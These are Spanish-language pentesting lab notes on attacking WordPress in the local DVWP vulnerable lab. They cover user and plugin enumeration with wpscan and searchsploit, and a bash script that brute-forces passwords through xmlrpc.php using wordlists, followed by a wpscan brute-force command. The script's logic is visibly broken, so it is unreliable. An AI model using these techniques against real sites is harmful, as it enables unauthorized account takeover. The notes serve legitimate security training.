WordPress es un Sistema de Gestión de Contenidos (CMS) gratuito y de código abierto que permite crear y administrar sitios web (blogs, tiendas online, portafolios, etc.) de forma sencilla, sin necesidad de programar, usando temas y plugins para personalizarlo fácilmente, y es la plataforma más usada a nivel mundial para crear páginas web. Sirve para publicar contenido, gestionar usuarios y funcionalidades avanzadas, siendo ideal para proyectos personales o negocios en línea.
Herramientas
Caso practico
Descargamos DVWP y ejecutas esto:
cd dvwp/
docker compose up -d --buildIngresas a localhost:3337, te logues y toda la wea
- Ahora si podes:
docker compose run --rm wp-cli install-wp
Primer observacion: la version de wordpress esta desactualizada, en el login te dice cuando el usuario es correcto pero la contrasenia no, podemos ennumerar los usuarios.
Con herramientas como whatweb, wpscan podemos averiguar extras.
Con wpscan
wpscan --url https://127.0.0.1:31337 -e vp,u
-
-eoye ennumeramevpplugins vulnerables yuusuarios -
Para realizar escaneos de mejor calidad se utilizan api-tokens dentro de la web de wpscan, con una cuenta, Profile > Token.
wpscan --url https://127.0.0.1:31337 -e vp --api-token="api-token"
Regex con grep
curl -s -X GET 'https://localhost:31337/' | grep -oP 'plugins/\K[^/]+ | sort -u
Searchsploit
Podemos obtener vulnerabilidades para determinadas tecnologias y sus versiones
Warfare es uno de los plugins de wordpress que estaba desactualizado:
searchsploit warfare
Vulnerabilidad
Hay una forma de ennumerar usuarios a traves de un archivo:
xmlrpc.php si esta expuesto chau
curl -s -X POST 'http://localhost:31337/xmlrpc.php' -d@file.xml
#!/bin/bash
function ctrl_c(){
echo -e "/nSaliendo/n/n"
exit 1
}
trap ctrl_c SIGINT
function createXML(){
passwd=$1
textXML="""
codigo xml malicioso
codigo
codigo
$passwd
codigo
"""
echo $textXML > file.xml
response=$(curl -s -X GET https://localhost:31337/wp-admin.php -d@file.xml)
if [ ! "$(echo "$textXML" | grep 'Invalid password')" ]; then
echo -e "La contrasenia valida es $passwd"
exit 0
fi
}
cat /usr/share/SecList/Passwords.txt | while read password; do
createXML $password
done
Fuerza bruta
wpscan --url https://127.0.0.1:31337 -U savitar -P usr/share/wordlist/rockyou.txt